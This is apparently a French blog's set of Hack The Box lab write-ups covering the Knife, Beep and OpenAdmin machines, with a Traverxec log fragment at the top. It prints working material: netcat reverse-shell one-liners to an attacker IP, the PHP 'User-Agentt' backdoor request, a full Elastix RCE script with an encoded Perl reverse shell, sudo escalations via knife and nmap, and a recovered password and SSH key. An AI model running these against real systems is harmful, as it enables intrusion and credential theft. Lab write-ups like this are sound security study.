-- Logs begin at Wed 2025-01-22 07:27:34 EST, end at Thu 2025-01-23 03:55:56 EST
Jan 22 08:09:14 traverxec su[1018]: pam_unix(su-l:auth): authentication failure;
Jan 22 08:09:16 traverxec su[1018]: FAILED SU (to root) www-data on pts/0
Jan 22 08:15:57 traverxec su[1055]: pam_unix(su:auth): authentication failure; l
Jan 22 08:15:59 traverxec su[1055]: FAILED SU (to david) www-data on pts/0
Jan 22 09:07:03 traverxec nhttpd[1201]: /../../../../bin/sh sent a bad cgi heade
!/bin/sh
# whoami
root
# cat /root/root.txt 
ad59.....6f01

HTB | Knife

Wed, 22 Jan 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Knife	Linux	10.10.10.242	Easy

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


$ nmap -sC -sV -An -T4 -vvv 10.10.10.242

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EA...
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2....
| 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1l....
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Emergent Medical Idea
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Foothold

PHP 8.1.0-dev (RCE)

Avec burp, on observe que le serveur utilise la version 8.1.0-dev de php. Avec searchsploit, on voit qu’il existe une RCE sur cette version de php :

1
2
3
4


┌──(kali㉿kali)-[~]
└─$ searchsploit 8.1.0-dev

PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py

Exploit from searchsploit

On peut utiliser un script python pour exploiter la vuln:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


┌──(kali㉿kali)-[~/htb/Knife]
└─$ python3 49933.py
Enter the full host url:
http://knife.htb

Interactive shell is opened on http://knife.htb
Can't acces tty; job crontol turned off.
$ whoami
james
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.6 1337 >/tmp/f

------------------------------------

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.242] 60424
bash: cannot set terminal process group (1025): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ whoami
whoami
james

Exploit from Burp

La vulnérabilité consiste à ajouter une variable “User-Agentt”, avec 2 “t”, et d’écrire la commande a executé dans la fonction “zerodiumsystem(‘COMMANDE_ICI’)” :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


## FROM BURP :

GET / HTTP/1.1
Host: knife.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
User-Agentt: zerodiumsystem('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.6 1337 >/tmp/f');
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

---------------------------------

┌──(kali㉿kali)-[~/htb/Knife]
└─$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.242] 60498
bash: cannot set terminal process group (1025): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
james@knife:/$ export TERM=xterm
export TERM=xterm
james@knife:/$ ^Z
zsh: suspended nc -lnvp 1337

┌──(kali㉿kali)-[~/htb/Knife]
└─$ stty raw -echo; fg
[1] + continued nc -lnvp 1337

james@knife:/$ whoami
james
james@knife:/$ cd
james@knife:~$ cat user.txt
4819.....4e49f

Privilege Escalation

Knife Binary exploit

Avec sudo -l, on observe que l’on peut executer le binaire knife en tant que root. Sur gtfobins, on trouve rapidement une exploit pour faire une élévation de privilège avec ce binaire.

Voici le lien exacte de la page : https://gtfobins.github.io/gtfobins/knife/

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


james@knife:/home$ sudo -l
Matching Defaults entries for james on knife:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
 (root) NOPASSWD: /usr/bin/knife
james@knife:/home$ sudo knife exec -E 'exec "/bin/sh"'
# whoami
root
# cd /root
# cat root.txt
3db8b.....ce60

HTB | Beep

Mon, 20 Jan 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Beep	Linux	10.10.10.7	Easy

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60


┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -sC -sV -An -vvv -T4 10.10.10.7
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAI04jN+Sn7/9f2k+5UteAWn8KKj3FRGuF4LyeDmo/xxuHgSsdCjYuWtNS8m7stqgNH5edUu8vZ0pzF/quX5kphWg/UOz9weGeGyzde5lfb8epRlTQ2kfbP00l+kq9ztuWaXOsZQGcSR9iKE4lLRJhRCLYPaEbuxKnYz4WhAv4yD5AAAAFQDXgQ9BbvoxeDahe/ksAac2ECqflwAAAIEAiGdIue6mgTfdz/HikSp8DB6SkVh4xjpTTZE8L/HOVpTUYtFYKYj9eG0W1WYo+lGg6SveATlp3EE/7Y6BqdtJNm0RfR8kihoqSL0VzKT7myerJWmP2EavMRPjkbXw32fVBdCGjBqMgDl/QSEn2NNDu8OAyQUVBEHrE4xPGI825qgAAACANnqx2XdVmY8agjD7eFLmS+EovCIRz2+iE+5chaljGD/27OgpGcjdZNN+xm85PPFjUKJQuWmwMVTQRdza6TSp9vvQAgFh3bUtTV3dzDCuoR1D2Ybj9p/bMPnyw62jgBPxj5lVd27LTBi8IAH2fZnct7794Y3Ge+5r4Pm8Qbrpy68=
| 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4SXumrUtyO/pcRLwmvnF25NG/ozHsxSVNRmTwEf7AYubgpAo4aUuvhZXg5iymwTcZd6vm46Y+TX39NQV/yT6ilAEtLbrj1PLjJl+UTS8HDIKl6QgIb1b3vuEjbVjDj1LTq0Puzx52Es0/86WJNRVwh4c9vN8MtYteMb/dE2Azk0SQMtpBP+4Lul4kQrNwl/qjg+lQ7XE+NU7Va22dpEjLv/TjHAKImQu2EqPsC99sePp8PP5LdNbda6KHsSrZXnK9hqpxnwattPHT19D94NHVmMHfea9gXN3NCI3NVfDHQsxhqVtR/LiZzpbKHldFU0lfZYH1aTdBfxvMLrVhasZcw==
25/tcp open smtp syn-ack ttl 63 Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp open http syn-ack ttl 63 Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://10.10.10.7/
110/tcp open pop3 syn-ack ttl 63 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: RESP-CODES TOP APOP LOGIN-DELAY(0) USER PIPELINING IMPLEMENTATION(Cyrus POP3 server v2) STLS AUTH-RESP-CODE UIDL EXPIRE(NEVER)
111/tcp open rpcbind syn-ack ttl 63 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 790/udp status
|_ 100024 1 793/tcp status
143/tcp open imap syn-ack ttl 63 Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: Completed MAILBOX-REFERRALS IMAP4 RIGHTS=kxte QUOTA OK ANNOTATEMORE BINARY SORT=MODSEQ X-NETSCAPE LIST-SUBSCRIBED UIDPLUS LISTEXT IMAP4rev1 CHILDREN STARTTLS IDLE NAMESPACE SORT CONDSTORE ID ACL CATENATE NO RENAME THREAD=REFERENCES LITERAL+ URLAUTHA0001 MULTIAPPEND THREAD=ORDEREDSUBJECT ATOMIC UNSELECT
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.2.3 ((CentOS))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/
|_http-favicon: Unknown favicon MD5: 80DCC71362B27C7D0E608B0890C05E9F
|_ssl-date: 2025-01-20T14:02:51+00:00; +7m26s from scanner time.
|_http-title: Elastix - Login page
|_http-server-header: Apache/2.2.3 (CentOS)
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/organizationalUnitName=SomeOrganizationalUnit/localityName=SomeCity/emailAddress=root@localhost.localdomain
| Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/organizationalUnitName=SomeOrganizationalUnit/localityName=SomeCity/emailAddress=root@localhost.localdomain
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2017-04-07T08:22:08
| Not valid after: 2018-04-07T08:22:08
| MD5: 621a:82b6:cf7e:1afa:5284:1c91:60c8:fbc8
| SHA-1: 800a:c6e7:065e:1198:0187:c452:0d9b:18ef:e557:a09f
| -----BEGIN CERTIFICATE-----
| MIIEDjCCA3egAwIBAgICfVUwDQYJKoZIhvcNAQEFBQAwgbsxCzAJBgNVBAYTAi0t
| MRIwEAYDVQQIEwlTb21lU3RhdGUxETAPBgNVBAcTCFNvbWVDaXR5MRkwFwYDVQQK
| ExBTb21lT3JnYW5pemF0aW9uMR8wHQYDVQQLExZTb21lT3JnYW5pemF0aW9uY...
|_-----END CERTIFICATE-----
993/tcp open ssl/imap syn-ack ttl 63 Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp open pop3 syn-ack ttl 63 Cyrus pop3d
3306/tcp open mysql syn-ack ttl 63 MySQL (unauthorized)
4445/tcp open upnotifyp? syn-ack ttl 63
10000/tcp open http syn-ack ttl 63 MiniServ 1.570 (Webmin httpd)
|_http-favicon: Unknown favicon MD5: 74F7F6F633A027FA3EA36F05004C9341
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).

Foothold

Elastix - RCE

On trouve une exploit sur github sur Elastix. Dans le code fournit par searchsploit, l’extension utilisé pour faire un call sur le php est “1000”. Il fallait retrouver que la bonne extension est “233” pour cette machine. Pour les autres valeurs, le call ne fonctionne pas et renvoie une erreur. Ensuite, on peut exploiter la RCE.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


$ cat final_exploit.py
#exploit modified by infosecjunky
#https://infosecjunky.com

import urllib2
import ssl

rhost="10.10.10.7"
lhost="10.10.16.2"
lport=1337
extension="233"


ctx = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

# Reverse shell payload

url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

urllib2.urlopen(url,context=ctx)

# On Elastix, once we have a shell, we can escalate to root:
# root@bt:~# nc -lvp 443
# listening on [any] 443 ...
# connect to [172.16.254.223] from voip [172.16.254.72] 43415
# id
# uid=100(asterisk) gid=101(asterisk)
# sudo nmap --interactive

# Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
# Welcome to Interactive Mode -- press h <enter> for help
# nmap> !sh
# id
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

Privilege Escalation

nmap as root

Sur : https://gtfobins.github.io/gtfobins/nmap/

On trouve comment exploiter les droits root sur la commande nmap pour obtenir un shell privilégié.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


sudo -l
Matching Defaults entries for asterisk on this host:
 env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR
 LS_COLORS MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE LC_COLLATE
 LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
 LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
 XAUTHORITY"

User asterisk may run the following commands on this host:
 (root) NOPASSWD: /sbin/shutdown
 (root) NOPASSWD: /usr/bin/nmap
 (root) NOPASSWD: /usr/bin/yum
 (root) NOPASSWD: /bin/touch
 (root) NOPASSWD: /bin/chmod
 (root) NOPASSWD: /bin/chown
 (root) NOPASSWD: /sbin/service
 (root) NOPASSWD: /sbin/init
 (root) NOPASSWD: /usr/sbin/postmap
 (root) NOPASSWD: /usr/sbin/postfix
 (root) NOPASSWD: /usr/sbin/saslpasswd2
 (root) NOPASSWD: /usr/sbin/hardware_detector
 (root) NOPASSWD: /sbin/chkconfig
 (root) NOPASSWD: /usr/sbin/elastix-helper

sudo /usr/bin/nmap --interactive

Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh

whoami
root

cat /root/root.txt
19d01.....0b5f

cat /home/*/user.txt
c3a2.....2248

HTB | OpenAdmin

Mon, 20 Jan 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
OpenAdmin	Linux	10.10.10.171	Easy

Users

1

jimmy:n1nj4W4rri0R!

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


$ nmap -sS -sC -sV -An -p22,80 -vvv 10.10.10.171

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcVHOWV8MC41kgTdwiBIBmUrM8vGHUM2Q7+a0LCl9jfH3bIpmuWnzwev97wpc8pRHPuKfKm0c3iHGII+cKSsVgzVtJfQdQ0j/GyDcBQ9s1VGHiYIjbpX30eM2P2N5g2hy9ZWsF36WMoo5Fr+mPNycf6Mf0QOODMVqbmE3VVZE1VlX3pNW4ZkMIpDSUR89JhH+PHz/miZ1OhBdSoNWYJIuWyn8DWLCGBQ7THxxYOfN1bwhfYRCRTv46tiayuF2NNKWaDqDq/DXZxSYjwpSVelFV+vybL6nU0f28PzpQsmvPab4PtMUb0epaj4ZFcB1VVITVCdBsiu4SpZDdElxkuQJz
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHqbD5jGewKxd8heN452cfS5LS/VdUroTScThdV8IiZdTxgSaXN1Qga4audhlYIGSyDdTEL8x2tPAFPpvipRrLE=
| 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBcV0sVI0yWfjKsl7++B9FGfOVeWAIWZ4YGEMROPxxk4
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)

Foothold

dirsearch : openadmin.htb

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


$ dirsearch -u http://openadmin.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
 from pkg_resources import DistributionNotFound, VersionConflict

 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/htb/OpenAdmin/reports/http_openadmin.htb/_25-01-13_17-16-56.txt

Target: http://openadmin.htb/

[17:16:57] Starting:
[17:16:58] 403 - 278B - /.ht_wsr.txt
[17:16:58] 403 - 278B - /.htaccess.bak1
[17:16:58] 403 - 278B - /.htaccess.orig
[17:16:58] 403 - 278B - /.htaccess.save
[17:16:58] 403 - 278B - /.htaccess.sample
[17:16:58] 403 - 278B - /.htaccess_extra
[17:16:58] 403 - 278B - /.htaccess_sc
[17:16:58] 403 - 278B - /.htaccessBAK
[17:16:58] 403 - 278B - /.htaccess_orig
[17:16:58] 403 - 278B - /.htaccessOLD
[17:16:58] 403 - 278B - /.htaccessOLD2
[17:16:58] 403 - 278B - /.htm
[17:16:58] 403 - 278B - /.html
[17:16:58] 403 - 278B - /.htpasswd_test
[17:16:58] 403 - 278B - /.htpasswds
[17:16:58] 403 - 278B - /.httr-oauth
[17:16:59] 403 - 278B - /.php
[17:17:24] 301 - 314B - /music -> http://openadmin.htb/music/
[17:17:26] 301 - 312B - /ona -> http://openadmin.htb/ona/ <--------------------------
[17:17:32] 403 - 278B - /server-status
[17:17:32] 403 - 278B - /server-status/

Task Completed

ona - Open Net Admin

http://openadmin.htb/ona/

“You are NOT on the latest release version Your version = v18.1.1”

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


$ searchsploit open net admin
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | php/webapps/47691.sh
SCO OpenServer 5.0.6 - lpadmin Buffer Overflow | sco/dos/20735.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Voici un exploit python fonctionnel trouvé sur github: https://github.com/amriunix/ona-rce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


python3 ona_exploit.py exploit http://openadmin.htb/ona
...
sh$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.2 1337 >/tmp/f

---------------------------------------------------

$ nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.42] from (UNKNOWN) [10.10.10.171] 45688
sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@openadmin:/opt/ona/www$ export TERM=xterm
export TERM=xterm
www-data@openadmin:/opt/ona/www$ ^Z
zsh: suspended nc -lnvp 1337

┌──(kali㉿kali)-[~/htb/OpenAdmin]
└─$ stty raw -echo; fg
[1] + continued nc -lnvp 1337

www-data@openadmin:/opt/ona/www$ whoami
www-data

mysql

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


www-data@openadmin:/opt/ona/www$ grep -ri "passwd"
plugins/ona_nmap_scans/install.php: mysql -u {$self['db_login']} -p{$self['db_passwd']} {$self['db_database']} < {$sqlfile}</font><br><br>
include/functions_db.inc.php: $ona_contexts[$context_name]['databases']['0']['db_passwd'] = $db_context[$type] [$context_name] ['primary'] ['db_passwd'];
include/functions_db.inc.php: $ona_contexts[$context_name]['databases']['1']['db_passwd'] = $db_context[$type] [$context_name] ['secondary'] ['db_passwd'];
include/functions_db.inc.php: $ok1 = $object->PConnect($self['db_host'], $self['db_login'], $db['db_passwd'], $self['db_database']);
.htaccess.example:# You will need to create an .htpasswd file that conforms to the standard
.htaccess.example:# htaccess format, read the man page for htpasswd. Change the
.htaccess.example:# AuthUserFile option below as needed to reference your .htpasswd file.
.htaccess.example:# names, however, do need to be the same in both the .htpasswd and web
.htaccess.example: #AuthUserFile /opt/ona/www/.htpasswd

===========================
local/config/database_settings.inc.php: 'db_passwd' => 'n1nj4W4rri0R!',
===========================

winc/user_edit.inc.php: name="passwd"
winc/user_edit.inc.php: if (!$form['id'] and !$form['passwd']) {
winc/user_edit.inc.php: if ($form['passwd']) {
winc/user_edit.inc.php: $form['passwd'] = md5($form['passwd']);
winc/user_edit.inc.php: 'passwd' => $form['passwd'],
winc/user_edit.inc.php: if (strlen($form['passwd']) < 32) {
winc/user_edit.inc.php: $form['passwd'] = $record['passwd'];
winc/user_edit.inc.php: 'passwd' => $form['passwd'],
winc/tooltips.inc.php:// Builds HTML for changing tacacs enable passwd

$ cat database_settings.inc.php
<?php

$ona_contexts=array (
 'DEFAULT' =>
 array (
 'databases' =>
 array (
 0 =>
 array (
 'db_type' => 'mysqli',
 'db_host' => 'localhost',
 'db_login' => 'ona_sys',
 'db_passwd' => 'n1nj4W4rri0R!',
 'db_database' => 'ona_default',
 'db_debug' => false,
 ),
 ),
 'description' => 'Default data context',
 'context_color' => '#D3DBFF',
 ),
);

On ne trouve rien d’intéressant dans la base de donnée mysql, cependant, le mot de passe fonctionne pour se connecter à l’utilisateur jimmy:

jimmy:n1nj4W4rri0R!

1
2
3
4


www-data@openadmin:/opt/ona/www$ su jimmy
Password:
jimmy@openadmin:/opt/ona/www$ whoami
jimmy

On peut aussi se connecter en ssh :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


$ ssh jimmy@openadmin.htb
The authenticity of host 'openadmin.htb (10.10.10.171)' can't be established.
ED25519 key fingerprint is SHA256:wrS/uECrHJqacx68XwnuvI9W+bbKl+rKdSh799gacqo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'openadmin.htb' (ED25519) to the list of known hosts.
jimmy@openadmin.htb's password:

Last login: Thu Jan 2 20:50:03 2020 from 10.10.14.3
jimmy@openadmin:~$ whoami
jimmy

jimmy -> joanna

internal : apache service

On trouve un dossier “internal” avec du code php indiquant un autre serveur apache. Il s’agit d’une page de connexion avec un user “jimmy” et le hash de son mot de passe :

1
2
3


╔══════════╣ My user
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)

index.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10



 if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
 if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
 $_SESSION['username'] = 'jimmy';
 header("Location: /main.php");
 } else {
 $msg = 'Wrong username or password.';
 }
 }
 ?>

Dans crackstation, on trouve le mot de passe du hash : ‘Revealed’. On observe que si on se connecte avec jimmy:Revealed, on se retrouve sur la page main qui semble afficher la clé SSH de l’utilisatrice “joanna”.

main.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


jimmy@openadmin:/var/www/internal$ cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
## Open Admin Trusted
## OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

On voit les configurations de ce deuxieme serveur apache:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


jimmy@openadmin:/tmp$ cat /etc/apache2/sites-enabled/internal.conf
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
 ServerName internal.openadmin.htb
 DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

 ErrorLog ${APACHE_LOG_DIR}/error.log
 CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>

Il tourne donc sur le port 52846. On peut aussi observer que ce port est bien ouvert avec la commande “ss” :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


$ ss -nlta
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 128 127.0.0.1:52846 0.0.0.0:*
CLOSE-WAIT 0 0 10.10.10.171:35776 10.10.16.2:1337
CLOSE-WAIT 0 0 10.10.10.171:36134 10.10.16.2:1337
SYN-SENT 0 1 10.10.10.171:55916 1.1.1.1:53
ESTAB 0 36 10.10.10.171:22 10.10.16.2:36932
CLOSE-WAIT 0 0 10.10.10.171:35848 10.10.16.2:1337
ESTAB 0 0 10.10.10.171:22 10.10.16.2:44542
ESTAB 0 0 10.10.10.171:36824 10.10.16.2:1337
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 128 *:80 *:*
CLOSE-WAIT 1 0 [::ffff:10.10.10.171]:80 [::ffff:10.10.16.2]:58916
CLOSE-WAIT 1 0 [::ffff:10.10.10.171]:80 [::ffff:10.10.16.2]:49868
CLOSE-WAIT 1 0 [::ffff:10.10.10.171]:80 [::ffff:10.10.16.2]:37876
CLOSE-WAIT 1 0 [::ffff:10.10.10.171]:80 [::ffff:10.10.16.2]:38320

Pour accéder à ce serveur apache, on doit rediriger le port 52846 en local. On peut faire ca très facilement à l’aide “chisel” pour faire du port forwarding :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


jimmy@openadmin:/tmp$ ./chiselserver_linux client 10.10.16.2:8081 R:52846:127.0.0.1:52846
2025/01/20 10:10:38 client: Connecting to ws://10.10.16.2:8080
2025/01/20 10:10:38 client: Connected (Latency 34.737115ms)

----------------------------------------------------

$ ./chiselserver_linux server -p 8081 --reverse
2025/01/20 05:09:33 server: Reverse tunnelling enabled
2025/01/20 05:09:33 server: Fingerprint 1ytgJA0Yrt37Nd/YOVUXpE2VjZp29m7JvW5jTyjZ9D4=
2025/01/20 05:09:33 server: Listening on http://0.0.0.0:8080
2025/01/20 05:10:03 server: session#1: tun: proxy#R:52846=>52846: Listening

Depuis notre kali, on accéde à la page puis (apres connexion jimmy:Revealed) on obtient: http://localhost:52846/main.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
